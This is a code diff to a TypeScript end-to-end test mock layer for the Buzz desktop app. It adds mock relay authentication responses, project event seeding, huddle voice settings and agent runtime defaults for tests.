@@ -348,6 +375,8 @@ type E2eConfig = {
     // (e.g. a generic PDF) without a real upload pipeline. See
     // tests/helpers/bridge.ts:MockBridgeOptions.uploadDescriptors.
     uploadDelayMs?: number;
+    /** Exercise the production composer path that queues files until send. */
+    deferredComposerUploads?: boolean;
     /** Delay (ms) applied to `encode_agent_snapshot_for_send` so E2E tests can
      *  observe the "preparing" phase before the upload begins. 0/undefined = instant. */
     encodeDelayMs?: number;
@@ -377,20 +406,6 @@ type E2eConfig = {
     // Seed rows returned by `list_save_subscriptions`. Each entry uses the same
     // snake_case wire shape the Rust backend returns so tests can drive the
     // LocalArchiveSettingsCard without a real SQLite database.
-    observerArchiveDefaultEnabled?: boolean;
-    /**
-     * Delay (ms) applied to `observer_archive_default_enabled` so E2E tests
-     * can observe the pending-reconciliation state (toggle disabled, no
-     * archive-manager `list_save_subscriptions` call) before the policy
-     * resolves. 0/undefined = instant.
-     */
-    observerArchiveDefaultEnabledDelayMs?: number;
-    /**
-     * When set, `observer_archive_default_enabled` throws with this message
-     * instead of resolving — drives the fail-closed `.catch()` path in
-     * `useObserverArchiveReconciliation` / `LocalArchiveSettingsCard`.
-     */
-    observerArchiveDefaultEnabledError?: string;
     agentMetricArchiveDefaultEnabled?: boolean;
     saveSubscriptions?: Array<{
       scope_type: string;
@@ -429,6 +444,8 @@ type E2eConfig = {
       model: string | null;
       preferred_runtime?: string | null;
     };
+    /** Explicit owner-only agent-access capability; independent of baked defaults. */
+    ownerOnlyAccessBuild?: boolean;
     /** File-layer config returned by runtime id. */
     runtimeFileConfigs?: Record<string, RuntimeFileConfigSubset | null>;
     /** Baked build env returned by the display and key-name Tauri commands. */
@@ -441,9 +458,11 @@ type E2eConfig = {
      *  initial render gating around build defaults. 0/undefined = instant. */
     bakedBuildEnvDelayMs?: number;
     /** Delay (ms) applied to `set_global_agent_config` so tests can observe
-     *  autosave behaviour while a request is in flight. 0/undefined = instant.
-     *  Alias of `globalConfigSaveDelayMs` (kept for onboarding specs). */
+     *  pending save behaviour. 0/undefined = instant. Alias of
+     *  `globalConfigSaveDelayMs` (kept for onboarding specs). */
     setGlobalAgentConfigDelayMs?: number;
+    /** Sequenced save failures. A string rejects that call; null succeeds. */
+    setGlobalAgentConfigErrors?: (string | null)[];
     /** Errors returned by successive backup verification attempts. Null succeeds. */
     backupVerificationErrors?: (string | null)[];
     /** Public identities returned by successive successful backup verifications. */
@@ -500,6 +519,11 @@ type E2eConfig = {
      * returning a catalog.
      */
     discoverAgentModelsError?: string;
+    // Backend provider mocks for the create-agent "Run on" section. See
+    // tests/helpers/bridge.ts:MockBridgeOptions for semantics.
+    backendProviders?: Array<{ id: string; binaryPath: string }>;
+    backendProviderProbeResult?: Record<string, unknown>;
+    backendProviderProbeDelayMs?: number;
   };
   relayHttpUrl?: string;
   relayWsUrl?: string;
@@ -795,6 +819,7 @@ type RawManagedAgent = {
   last_error: string | null;
   last_error_code: number | null;
   needs_restart?: boolean;
+  restart_diff?: Array<{ field: string; change: unknown }>;
   log_path: string;
   start_on_app_launch: boolean;
   auto_restart_on_config_change?: boolean;
@@ -1037,6 +1062,21 @@ declare global {
       command: string;
       payload: unknown;
     }>;
+    /** Release mock send events that were stored but withheld from live subscribers. */
+    __BUZZ_E2E_RELEASE_SEND_MESSAGE_LIVE_ECHO__?: () => number;
+    __BUZZ_E2E_EMIT_MEDIA_UPLOAD_PHASE__?: (input: {
+      id: string;
+      phase: string;
+    }) => Promise<void>;
+    __BUZZ_E2E_EMIT_MEDIA_UPLOAD_PROGRESS__?: (input: {
+      id: string;
+      sent: number;
+      total: number;
+    }) => Promise<void>;
+    __BUZZ_E2E_EMIT_MOCK_HUDDLE_TTS_SPEAKER__?: (payload: {
+      pubkey: string | null;
+      level: number;
+    }) => Promise<void>;
     __BUZZ_E2E_WEBVIEW_ZOOM__?: number;
     __BUZZ_E2E_HAS_MOCK_LIVE_SUBSCRIPTION__?: (input: {
       channelName: string;
@@ -1081,6 +1121,10 @@ declare global {
       command: string,
       payload?: Record<string, unknown>,
     ) => Promise<unknown>;
+    __BUZZ_E2E_EMIT_TAURI_EVENT__?: (
+      event: string,
+      payload: unknown,
+    ) => Promise<void>;
     __BUZZ_E2E_SET_MOCK_HUDDLE_SNAPSHOT__?: (input: {
       members: MockHuddleMemberSeed[];
       transcriptionEnabled: boolean;
@@ -1097,8 +1141,33 @@ declare global {
       kind: number;
       tags: string[][];
     }>;
+    /** Project-scoped events accepted by the mock relay. */
+    __BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?: Array<{
+      content: string;
+      kind: number;
+      tags: string[][];
+    }>;
     /** Project event kinds rejected once, in order, to exercise retry flows. */
     __BUZZ_E2E_REJECT_PROJECT_EVENT_KINDS__?: number[];
+    /** Makes the mock relay reject project announcements as an unknown kind. */
+    __BUZZ_E2E_UNSUPPORTED_PROJECT_ANNOUNCEMENTS__?: boolean;
+    /** Project event kinds accepted once but reported as failed to test lost acknowledgements. */
+    __BUZZ_E2E_FAIL_PROJECT_EVENT_ACK_KINDS__?: number[];
+    /**
+     * Extra project events appended to the mock store on first access.
+     * Use to seed standalone repositories (kind 30617) or other project-scoped
+     * events before a test interaction, without mutating the fixed seed data.
+     * Events must be complete RelayEvent shapes; id is a required field so that
+     * id-keyed queries (e.g. lost-ACK recovery) can match them.
+     */
+    __BUZZ_E2E_EXTRA_PROJECT_EVENTS__?: Array<{
+      id: string;
+      kind: number;
+      pubkey: string;
+      created_at: number;
+      content: string;
+      tags: string[][];
+    }>;
     /** Structured merge error returned by the mock native merge command. */
     __BUZZ_E2E_PROJECT_MERGE_ERROR__?: {
       code: string;
@@ -1136,6 +1205,12 @@ declare global {
     };
     __BUZZ_E2E_SET_RELAY_CONNECTION_STATE__?: (state: ConnectionState) => void;
     __BUZZ_E2E_GET_RELAY_CONNECTION_STATE__?: () => ConnectionState;
+    /** Queue deterministic mock AUTH outcomes, consumed in order. */
+    __BUZZ_E2E_QUEUE_AUTH_RESPONSES__?: (
+      responses: Array<{ success: boolean; message: string }>,
+    ) => void;
+    /** Inject CLOSED into every active mock live subscription. */
+    __BUZZ_E2E_CLOSE_LIVE_SUBSCRIPTIONS__?: (reason: string) => number;
     __BUZZ_E2E_SET_STALL_WEBSOCKET_SENDS__?: (stall: boolean) => void;
     __BUZZ_E2E_DISCONNECT_MOCK_WEBSOCKETS__?: () => number;
     __BUZZ_E2E_RESTART_MOCK_WEBSOCKETS__?: () => number;
@@ -1242,6 +1317,12 @@ declare global {
     /** Count of `get_event` invocations for the current defer-target ID since
      *  the last time `__BUZZ_E2E_DEFER_GET_EVENT__` was set. */
     __BUZZ_E2E_GET_EVENT_CALL_COUNT__?: number;
+    /** Hold the next channel read until released. */
+    __BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
+    /** Disarm the latch and release the held channel read, if any. */
+    __BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
+    /** Number of channel reads currently held by the seam. */
+    __BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
   }
 }
 
@@ -1345,6 +1426,8 @@ type DeferredGetEvent = {
   run: () => Promise<string>;
 };
 let deferredGetEventQueue: DeferredGetEvent[] = [];
+let deferNextChannelsRead = false;
+let deferredChannelsReadResolve: (() => void) | null = null;
 
 const mockDisplayNames = new Map<string, string>([
   [MOCK_IDENTITY_PUBKEY, DEFAULT_MOCK_IDENTITY.display_name],
@@ -1566,6 +1649,7 @@ function cloneManagedAgent(agent: MockManagedAgent): RawManagedAgent {
     last_error: agent.last_error,
     last_error_code: agent.last_error_code,
     needs_restart: agent.needs_restart ?? false,
+    restart_diff: agent.restart_diff ? [...agent.restart_diff] : [],
     log_path: agent.log_path,
     start_on_app_launch: agent.start_on_app_launch,
     auto_restart_on_config_change: agent.auto_restart_on_config_change ?? true,
@@ -2071,6 +2155,24 @@ function buildSeededManagedAgent(seed: MockManagedAgentSeed): MockManagedAgent {
   const now = new Date().toISOString();
   const status = seed.status ?? "stopped";
 
+  // Resolve agent_command and agent_args from the well-known default catalog
+  // so the fixture mirrors real wire shape. Hardcoding ["acp"] for all runtimes
+  // is incorrect: buzz-agent ships with no default args.
+  const DEFAULT_RUNTIME_COMMAND: Record<
+    string,
+    { command: string; args: string[] }
+  > = {
+    goose: { command: "goose", args: ["acp"] },
+    "buzz-agent": { command: "buzz-agent", args: [] },
+    claude: { command: "claude", args: [] },
+    codex: { command: "codex", args: [] },
+  };
+  const catalogEntry = seed.runtime
+    ? DEFAULT_RUNTIME_COMMAND[seed.runtime]
+    : undefined;
+  const agentCommand = catalogEntry?.command ?? seed.runtime ?? "goose";
+  const agentArgs = catalogEntry?.args ?? ["acp"];
+
   return {
     pubkey: seed.pubkey,
     name: seed.name,
@@ -2080,8 +2182,8 @@ function buildSeededManagedAgent(seed: MockManagedAgentSeed): MockManagedAgent {
     runtime: seed.runtime ?? null,
     relay_url: DEFAULT_RELAY_WS_URL,
     acp_command: "buzz-acp",
-    agent_command: "goose",
-    agent_args: ["acp"],
+    agent_command: agentCommand,
+    agent_args: agentArgs,
     mcp_command: "",
     turn_timeout_seconds: 320,
     idle_timeout_seconds: null,
@@ -2090,7 +2192,7 @@ function buildSeededManagedAgent(seed: MockManagedAgentSeed): MockManagedAgent {
     system_prompt: null,
     avatar_url: seed.avatarUrl ?? null,
     model: null,
-    env_vars: {},
+    env_vars: { ...(seed.envVars ?? {}) },
     status,
     pid: status === "running" ? 42000 + mockManagedAgents.length : null,
     created_at: now,
@@ -2101,6 +2203,7 @@ function buildSeededManagedAgent(seed: MockManagedAgentSeed): MockManagedAgent {
     last_error: seed.lastError ?? null,
     last_error_code: seed.lastErrorCode ?? null,
     needs_restart: seed.needsRestart ?? false,
+    restart_diff: seed.restartDiff ?? [],
     log_path: `/tmp/mock-agent-${seed.pubkey}.log`,
     start_on_app_launch: true,
     auto_restart_on_config_change: seed.autoRestartOnConfigChange ?? true,
@@ -2854,11 +2957,16 @@ const mockChannels: MockChannel[] = [
 ];
 
 const mockMessages = new Map<string, RelayEvent[]>();
+const deferredSendMessageLiveEchoes: Array<{
+  channelId: string;
+  event: RelayEvent;
+}> = [];
 const mockUserStatuses: RelayEvent[] = [];
 const mockReminderEvents: RelayEvent[] = [];
 const mockPersonaEvents: RelayEvent[] = [];
 let mockRelayMembers: RawRelayMember[] = [];
 const mockSockets = new Map<number, MockSocket>();
+const mockAuthResponses: Array<{ success: boolean; message: string }> = [];
 let mockWebsocketUnavailable = false;
 const relayWebsocketConnectAttemptStarts: number[] = [];
 let mockWebsocketSendMutexWedged = false;
@@ -2873,8 +2981,8 @@ let mockManagedAgentRuntimes: MockManagedAgentRuntimeRow[] = [];
 // mutated by `create_save_subscription` / `delete_save_subscription` /
 // `merge_save_subscription_kinds` / `remove_save_subscription_kind` exactly
 // as the real SQLite-backed Rust commands would (see `archive/store.rs`).
-// This lets E2E specs drive the fresh-internal-repair path (start from `[]`,
-// reconcile, observe a kind-24200 row appear) and OSS toggle ON/OFF, neither
+// This lets E2E specs drive the default-on seeding path (start from `[]`,
+// reconcile, observe a kind-24200 row appear) and toggle ON/OFF, neither
 // of which an immutable seed can represent.
 type MockSaveSubscriptionRow = {
   scope_type: string;
@@ -2935,6 +3043,7 @@ const ZERO_SERVING_USAGE: MockServingUsage = {
 const mockMeshState: {
   admitted: boolean;
   models: Array<{ id: string; name: string | null }>;
+  activeModel: { id: string; name: string | null } | null;
   denyReason: string;
   nodeState: "off" | "running";
   nodeMode: "serve" | "client" | null;
@@ -2942,6 +3051,7 @@ const mockMeshState: {
 } = {
   admitted: true,
   models: [{ id: "Gemma-4-E4B-it-Q4_K_M", name: "Gemma 4 E4B" }],
+  activeModel: null,
   denyReason: "not a relay member",
   nodeState: "off",
   nodeMode: null,
@@ -2951,6 +3061,7 @@ const mockMeshState: {
 function resetMockMesh() {
   mockMeshState.admitted = true;
   mockMeshState.models = [{ id: "Gemma-4-E4B-it-Q4_K_M", name: "Gemma 4 E4B" }];
+  mockMeshState.activeModel = null;
   mockMeshState.denyReason = "not a relay member";
   mockMeshState.nodeState = "off";
   mockMeshState.nodeMode = null;
@@ -2960,15 +3071,17 @@ let mockPersonas: RawPersona[] = [];
 let mockTeams: RawTeam[] = [];
 
 type MockHuddleState = {
-  phase: "active";
+  phase: "creating" | "connected" | "active";
   parent_channel_id: string;
   ephemeral_channel_id: string;
+  huddle_thread_event_id: string | null;
   participants: string[];
   agent_pubkeys: string[];
+  agent_voice_settings: Record<string, { enabled: boolean; voice_key: string }>;
   tts_enabled: boolean;
   transcription_enabled: boolean;
   is_creator: boolean;
-  voice_input_mode: "voice_activity";
+  voice_input_mode: "push_to_talk" | "voice_activity";
 };
 
 type PersistedMockHuddle = {
@@ -2993,7 +3106,22 @@ async function emitMockHuddleState() {
   await emit("huddle-state-changed", structuredClone(mockHuddle.state));
 }
 
-function refreshMockHuddleMembership() {
+const MOCK_POCKET_VOICE_KEYS = [
+  "pocket:anna",
+  "pocket:vera",
+  "pocket:fantine",
+  "pocket:charles",
+  "pocket:paul",
+  "pocket:eponine",
+  "pocket:azelma",
+  "pocket:george",
+  "pocket:mary",
+  "pocket:jane",
+  "pocket:michael",
+  "pocket:eve",
+];
+
+function refreshMockHuddleMembership(config?: E2eConfig | null) {
   if (!mockHuddle) return;
   mockHuddle.state.agent_pubkeys = mockHuddle.members
     .filter((member) => member.role === "bot")
@@ -3001,9 +3129,44 @@ function refreshMockHuddleMembership() {
   mockHuddle.state.participants = mockHuddle.members.map(
     (member) => member.pubkey,
   );
+  mockHuddle.state.agent_voice_settings ??= {};
+  const agentSet = new Set(mockHuddle.state.agent_pubkeys);
+  for (const pubkey of Object.keys(mockHuddle.state.agent_voice_settings)) {
+    if (!agentSet.has(pubkey)) {
+      delete mockHuddle.state.agent_voice_settings[pubkey];
+    }
+  }
+  const defaultVoice =
+    config?.mock?.ttsSettings?.voicePreferences.find((key) =>
+      key.startsWith("pocket:"),
+    ) ?? "pocket:mary";
+  const used = new Set(
+    Object.values(mockHuddle.state.agent_voice_settings).map(
+      (settings) => settings.voice_key,
+    ),
+  );
+  mockHuddle.state.agent_pubkeys.forEach((pubkey, index) => {
+    if (mockHuddle?.state.agent_voice_settings[pubkey]) return;
+    const voiceKey =
+      index === 0 && !used.has(defaultVoice)
+        ? defaultVoice
+        : (MOCK_POCKET_VOICE_KEYS.find(
+            (key) => key !== defaultVoice && !used.has(key),
+          ) ?? defaultVoice);
+    used.add(voiceKey);
+    if (mockHuddle) {
+      mockHuddle.state.agent_voice_settings[pubkey] = {
+        enabled: true,
+        voice_key: voiceKey,
+      };
+    }
+  });
 }
 
-function initializeMockHuddle(seed: MockHuddleSeed | undefined) {
+function initializeMockHuddle(
+  seed: MockHuddleSeed | undefined,
+  config?: E2eConfig,
+) {
   mockHuddle = null;
   if (!seed) {
     window.sessionStorage.removeItem(MOCK_HUDDLE_STORAGE_KEY);
@@ -3014,27 +3177,57 @@ function initializeMockHuddle(seed: MockHuddleSeed | undefined) {
   if (persisted) {
     try {
       mockHuddle = JSON.parse(persisted) as PersistedMockHuddle;
-      return;
     } catch {
       window.sessionStorage.removeItem(MOCK_HUDDLE_STORAGE_KEY);
     }
   }
 
-  mockHuddle = {
-    members: structuredClone(seed.members),
-    state: {
-      phase: "active",
-      parent_channel_id: seed.parentChannelId,
-      ephemeral_channel_id: seed.ephemeralChannelId,
-      participants: [],
-      agent_pubkeys: [],
-      tts_enabled: false,
-      transcription_enabled: seed.transcriptionEnabled ?? false,
-      is_creator: seed.isCreator ?? true,
-      voice_input_mode: "voice_activity",
-    },
-  };
-  refreshMockHuddleMembership();
+  if (!mockHuddle) {
+    mockHuddle = {
+      members: structuredClone(seed.members),
+      state: {
+        phase: seed.phase ?? "active",
+        parent_channel_id: seed.parentChannelId,
+        ephemeral_channel_id: seed.ephemeralChannelId,
+        huddle_thread_event_id: seed.huddleThreadEventId ?? null,
+        participants: [],
+        agent_pubkeys: [],
+        agent_voice_settings: {},
+        tts_enabled: seed.ttsEnabled ?? false,
+        transcription_enabled: seed.transcriptionEnabled ?? false,
+        is_creator: seed.isCreator ?? true,
+        voice_input_mode: "push_to_talk",
+      },
+    };
+  }
+  if (!mockChannels.some((channel) => channel.id === seed.ephemeralChannelId)) {
+    const owner = createCurrentMember(config, "owner");
+    mockChannels.push(
+      createMockChannel({
+        id: seed.ephemeralChannelId,
+        name: "huddle",
+        channel_type: "stream",
+        visibility: "private",
+        description: "",
+        topic: null,
+        purpose: null,
+        last_message_at: null,
+        archived_at: null,
+        created_by: owner.pubkey,
+        topic_set_by: null,
+        topic_set_at: null,
+        purpose_set_by: null,
+        purpose_set_at: null,
+        topic_required: false,
+        max_members: null,
+        nip29_group_id: null,
+        ttl_seconds: 3_600,
+        created_minutes_ago: 0,
+        members: [owner],
+      }),
+    );
+  }
+  refreshMockHuddleMembership(config);
   persistMockHuddle();
 }
 const openedExternalUrls: string[] = [];
@@ -4001,6 +4194,18 @@ function emitMockLiveEvent(channelId: string, event: RelayEvent) {
   }
 }
 
+function emitOrDeferMockSendMessageLiveEcho(
+  channelId: string,
+  event: RelayEvent,
+  config: E2eConfig | undefined,
+) {
+  if (config?.mock?.deferSendMessageLiveEcho) {
+    deferredSendMessageLiveEchoes.push({ channelId, event });
+    return;
+  }
+  emitMockLiveEvent(channelId, event);
+}
+
 function emitMockGlobalEvent(event: RelayEvent) {
   if (
     event.kind === KIND_PERSONA &&
@@ -4195,6 +4400,15 @@ function emitMockChannelMessage(
   if (pending) event.pending = true;
   recordMockMessage(channelId, event);
   emitMockLiveEvent(channelId, event);
+  const rootEvent = history.find((candidate) => candidate.id === rootEventId);
+  if (rootEvent && mockHuddle?.state.ephemeral_channel_id === channelId) {
+    const summary = buildMockChannelThreadSummary(
+      channelId,
+      rootEvent,
+      getMockMessageStore(channelId),
+    );
+    if (summary) emitMockLiveEvent(channelId, summary);
+  }
   return event;
 }
 
@@ -5028,6 +5242,7 @@ const MOCK_PROJECT_SEEDS = [
     name: "buzz",
     description:
       "Relay, desktop, and mobile clients for the Buzz community platform.",
+    cloneUrl: `${DEFAULT_RELAY_HTTP_URL}/git/${MOCK_IDENTITY_PUBKEY}/buzz`,
     owner: MOCK_IDENTITY_PUBKEY,
     contributors: [ALICE_PUBKEY, BOB_PUBKEY, CHARLIE_PUBKEY],
     activityLevel: 4,
@@ -5036,6 +5251,7 @@ const MOCK_PROJECT_SEEDS = [
     dtag: "relay-tools",
     name: "relay-tools",
     description: "Operator tooling and admin CLI for relay deployments.",
+    cloneUrl: "https://github.com/block/relay-tools.git",
     owner: ALICE_PUBKEY,
     contributors: [MOCK_IDENTITY_PUBKEY, BOB_PUBKEY],
     activityLevel: 2,
@@ -5044,6 +5260,7 @@ const MOCK_PROJECT_SEEDS = [
     dtag: "design-system",
     name: "design-system",
     description: "Shared UI tokens, typography ramps, and component library.",
+    cloneUrl: `${DEFAULT_RELAY_HTTP_URL}/git/${BOB_PUBKEY}/design-system`,
     owner: BOB_PUBKEY,
     contributors: [ALICE_PUBKEY],
     activityLevel: 1,
@@ -5062,6 +5279,7 @@ const MOCK_PROJECT_SUBJECTS = [
 ];
 
 const MOCK_PROJECT_KINDS = new Set<number>([
+  KIND_PROJECT_ANNOUNCEMENT,
   KIND_REPO_ANNOUNCEMENT,
   KIND_REPO_STATE,
   KIND_GIT_PATCH,
@@ -5140,7 +5358,8 @@ function buildMockProjectEvents(): RelayEvent[] {
           ["d", seed.dtag],
           ["name", seed.name],
           ["description", seed.description],
-          ["clone", `https://relay.example.com/git/${owner}/${seed.dtag}`],
+          ["buzz-channel", "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50"],
+          ["clone", seed.cloneUrl],
           ...seed.contributors.map((pubkey) => ["p", pubkey]),
         ],
         owner,
@@ -5205,10 +5424,7 @@ function buildMockProjectEvents(): RelayEvent[] {
             ? [
                 ["h", "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50"],
                 ["branch-name", `feature/mock-${dayOffset}-${index}`],
-                [
-                  "clone",
-                  `https://relay.example.com/git/${owner}/${seed.dtag}`,
-                ],
+                ["clone", seed.cloneUrl],
               ]
             : []),
         ];
@@ -5218,11 +5434,39 @@ function buildMockProjectEvents(): RelayEvent[] {
     }
   }
 
+  const projectOwner =
+    window.__BUZZ_E2E_PROJECT_OWNER_OVERRIDE__ ?? MOCK_PROJECT_SEEDS[0].owner;
+  events.push(
+    createMockEvent(
+      KIND_PROJECT_ANNOUNCEMENT,
+      "",
+      [
+        ["d", "buzz"],
+        ["name", "buzz"],
+        ["description", "The complete Buzz community platform."],
+        ["a", `${KIND_REPO_ANNOUNCEMENT}:${projectOwner}:buzz`],
+        ["a", `${KIND_REPO_ANNOUNCEMENT}:${ALICE_PUBKEY}:relay-tools`],
+      ],
+      projectOwner,
+      now,
+      "project-buzz".padEnd(64, "0"),
+    ),
+  );
+
   return events;
 }
 
 function getMockProjectEventStore(): RelayEvent[] {
-  mockProjectEventStore ??= buildMockProjectEvents();
+  if (!mockProjectEventStore) {
+    mockProjectEventStore = buildMockProjectEvents();
+    // Append any extra events injected by the test via addInitScript before
+    // the app boots. This lets a test seed standalone repositories or other
+    // project-scoped events without modifying the fixed seed data.
+    const extras = window.__BUZZ_E2E_EXTRA_PROJECT_EVENTS__;
+    if (extras && extras.length > 0) {
+      mockProjectEventStore.push(...(extras as RelayEvent[]));
+    }
+  }
   return mockProjectEventStore;
 }
 
@@ -5234,19 +5478,23 @@ function isMockProjectScopedEvent(event: RelayEvent): boolean {
     (tag) => tag[0] === "a" && (tag[1] ?? "").startsWith("30617:"),
   );
   return (
-    hasRepoAddressTag &&
+    (event.kind === KIND_REPO_ANNOUNCEMENT || hasRepoAddressTag) &&
     (event.kind === 1 || MOCK_PROJECT_KINDS.has(event.kind))
   );
 }
 
 function filterMockProjectEvents(filter: MockFilter): RelayEvent[] {
   const authors = filter.authors?.map((author) => author.toLowerCase());
+  const idsSet =
+    filter.ids && filter.ids.length > 0 ? new Set(filter.ids) : null;
   return getMockProjectEventStore()
     .filter((event) => {
       if (filter.kinds && !filter.kinds.includes(event.kind)) return false;
       if (authors && !authors.includes(event.pubkey.toLowerCase())) {
         return false;
       }
+      // Filter by event ids when present — required for lost-ACK recovery queries.
+      if (idsSet && !idsSet.has(event.id)) return false;
       if (
         filter["#d"] &&
         !event.tags.some(
@@ -7147,6 +7395,28 @@ function withMockRuntimeConfigMetadata(
           : runtime.id === "goose"
             ? "GOOSE_THINKING_EFFORT"
             : null,
+    max_tokens_env_var:
+      "max_tokens_env_var" in runtime
+        ? runtime.max_tokens_env_var
+        : runtime.id === "buzz-agent"
+          ? "BUZZ_AGENT_MAX_OUTPUT_TOKENS"
+          : runtime.id === "goose"
+            ? "GOOSE_MAX_TOKENS"
+            : null,
+    context_limit_env_var:
+      "context_limit_env_var" in runtime
+        ? runtime.context_limit_env_var
+        : runtime.id === "buzz-agent"
+          ? "BUZZ_AGENT_MAX_CONTEXT_TOKENS"
+          : runtime.id === "goose"
+            ? "GOOSE_CONTEXT_LIMIT"
+            : null,
+    max_rounds_env_var:
+      "max_rounds_env_var" in runtime
+        ? runtime.max_rounds_env_var
+        : runtime.id === "buzz-agent"
+          ? "BUZZ_AGENT_MAX_ROUNDS"
+          : null,
   };
 }
 
@@ -7164,6 +7434,10 @@ async function handleDiscoverAcpRuntimes(
     });
   }
 
+  if (config?.mock?.acpRuntimesError) {
+    throw new Error("Mocked catalog discovery failure");
+  }
+
   const afterInstallSequence =
     config?.mock?.acpRuntimesCatalogAfterInstallSequence;
   if (mockInstallCompleted && afterInstallSequence?.length) {
@@ -7321,6 +7595,7 @@ let installCallCount = 0;
 /** Per-runtime call counters for `installAcpRuntimeByRuntime` sequences. */
 const installCallCountByRuntime: Record<string, number> = {};
 let addChannelMembersCallCount = 0;
+let setGlobalAgentConfigCallCount = 0;
 let mockGlobalAgentConfig: {
   env_vars: Record<string, string>;
   provider: string | null;
@@ -8060,8 +8335,10 @@ async function handleCreateManagedAgent(
     args.input.respondTo !== undefined
       ? (args.input.respondToAllowlist ?? [])
       : (linkedPersona?.respond_to_allowlist ?? []);
-  const mintParallelism =
-    args.input.parallelism ?? linkedPersona?.parallelism ?? 1;
+  const mintParallelism = resolveAgentParallelism(
+    args.input.parallelism,
+    linkedPersona?.parallelism,
+  );
   const personaAvatarUrl =
     args.input.personaId === undefined
       ? null
@@ -8615,7 +8892,7 @@ async function resolveMockUploadDescriptors(
 }
 
 async function resolveMockUploadDescriptorForBytes(
-  args: { data: number[]; filename?: string | null },
+  args: { data: number[] | Uint8Array; filename?: string | null },
   config: E2eConfig | undefined,
 ): Promise<RawBlobDescriptor> {
   const configured = config?.mock?.uploadDescriptors;
@@ -8652,6 +8929,7 @@ async function handleSendChannelMessage(
     mentionPubkeys?: string[];
     mediaTags?: string[][] | null;
     emojiTags?: string[][] | null;
+    mentionTags?: string[][] | null;
   },
   config: E2eConfig | undefined,
 ): Promise<RawSendChannelMessageResponse> {
@@ -8671,8 +8949,10 @@ async function handleSendChannelMessage(
   // relay echoes them back on the stored event too, so mirror that here so the
   // emoji renderer keeps resolving `:shortcode:` after the round-trip.
   const emojiTags = args.emojiTags ?? [];
-  // Both kinds end up on the stored event's tag set, just like the real relay.
-  const extraTags = [...mediaTags, ...emojiTags];
+  // Reference-only mentions are already part of the outbound event. Preserve
+  // them in the mock event too so local echoes match the complete sent tag set.
+  const mentionTags = args.mentionTags ?? [];
+  const extraTags = [...mediaTags, ...emojiTags, ...mentionTags];
   const identity = getIdentity(config);
   if (!identity) {
     const createdAt = Math.floor(Date.now() / 1000);
@@ -8688,7 +8968,7 @@ async function handleSendChannelMessage(
         ...extraTags,
       ]);
       recordMockMessage(args.channelId, event);
-      emitMockLiveEvent(args.channelId, event);
+      emitOrDeferMockSendMessageLiveEcho(args.channelId, event, config);
 
       return {
         event_id: event.id,
@@ -8751,7 +9031,7 @@ async function handleSendChannelMessage(
     };
 
     recordMockMessage(args.channelId, event);
-    emitMockLiveEvent(args.channelId, event);
+    emitOrDeferMockSendMessageLiveEcho(args.channelId, event, config);
 
     return {
       event_id: event.id,
@@ -8862,19 +9142,33 @@ async function handleSendManagedAgentChannelMessage(
 
 /**
  * Mock the `delete_message` Tauri command. Removes the event from the
- * in-memory mock store so the query-cache invalidation in
- * `useDeleteMessageMutation.onSuccess` (which filters by eventId) finds
- * nothing to keep, and the row disappears from the timeline.
+ * in-memory mock store and records the kind:5 structural event used by Inbox
+ * refreshes. Do not emit it live: mock target IDs may fail the production
+ * 64-hex deletion filter, letting a live merge restore the flattened row.
  */
-function handleDeleteMessage(args: {
-  channelId: string;
-  eventId: string;
-}): void {
+function handleDeleteMessage(
+  args: {
+    channelId: string;
+    eventId: string;
+  },
+  config: E2eConfig | undefined,
+): void {
   const history = mockMessages.get(args.channelId);
   if (history) {
     const index = history.findIndex((ev) => ev.id === args.eventId);
     if (index !== -1) history.splice(index, 1);
   }
+
+  const deletion = createMockEvent(
+    KIND_DELETION,
+    "",
+    [
+      ["e", args.eventId],
+      ["h", args.channelId],
+    ],
+    getMockMemberPubkey(config),
+  );
+  recordMockMessage(args.channelId, deletion);
 }
 
 /**
@@ -9237,7 +9531,16 @@ function sendToMockSocket(args: {
 
   if (type === "AUTH") {
     const event = rest[0] as RelayEvent;
-    sendWsText(socket.handler, ["OK", event.id, true, ""]);
+    const response = mockAuthResponses.shift() ?? {
+      success: true,
+      message: "",
+    };
+    sendWsText(socket.handler, [
+      "OK",
+      event.id,
+      response.success,
+      response.message,
+    ]);
     return;
   }
 
@@ -9426,6 +9729,11 @@ function sendToMockSocket(args: {
   if (type === "EVENT") {
     const event = rest[0] as RelayEvent;
 
+    if (event.kind === 28936) {
+      sendWsText(socket.handler, ["OK", event.id, true, ""]);
+      return;
+    }
+
     if ([9030, 9031, 9032].includes(event.kind)) {
       const accepted = updateMockRelayMembershipFromAdminEvent(event);
       sendWsText(socket.handler, [
@@ -9533,6 +9841,18 @@ function sendToMockSocket(args: {
         ]);
         return;
       }
+      if (
+        event.kind === KIND_PROJECT_ANNOUNCEMENT &&
+        window.__BUZZ_E2E_UNSUPPORTED_PROJECT_ANNOUNCEMENTS__
+      ) {
+        sendWsText(socket.handler, [
+          "OK",
+          event.id,
+          false,
+          "restricted: unknown event kind",
+        ]);
+        return;
+      }
       const rejectionIndex =
         window.__BUZZ_E2E_REJECT_PROJECT_EVENT_KINDS__?.indexOf(event.kind) ??
         -1;
@@ -9550,6 +9870,30 @@ function sendToMockSocket(args: {
         return;
       }
       getMockProjectEventStore().push(event);
+      const acceptedProjectEvents =
+        window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__ ?? [];
+      acceptedProjectEvents.push({
+        content: event.content,
+        kind: event.kind,
+        tags: event.tags,
+      });
+      window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__ = acceptedProjectEvents;
+      const failedAckIndex =
+        window.__BUZZ_E2E_FAIL_PROJECT_EVENT_ACK_KINDS__?.indexOf(event.kind) ??
+        -1;
+      if (failedAckIndex >= 0) {
+        window.__BUZZ_E2E_FAIL_PROJECT_EVENT_ACK_KINDS__?.splice(
+          failedAckIndex,
+          1,
+        );
+        sendWsText(socket.handler, [
+          "OK",
+          event.id,
+          false,
+          "mock lost project acknowledgement",
+        ]);
+        return;
+      }
       sendWsText(socket.handler, ["OK", event.id, true, ""]);
       return;
     }
@@ -9600,7 +9944,9 @@ export function maybeInstallE2eTauriMocks() {
 
   mockClosedChannelLiveSubscription = false;
   mockWebsocketUnavailable = false;
+  mockAuthResponses.length = 0;
   relayWebsocketConnectAttemptStarts.length = 0;
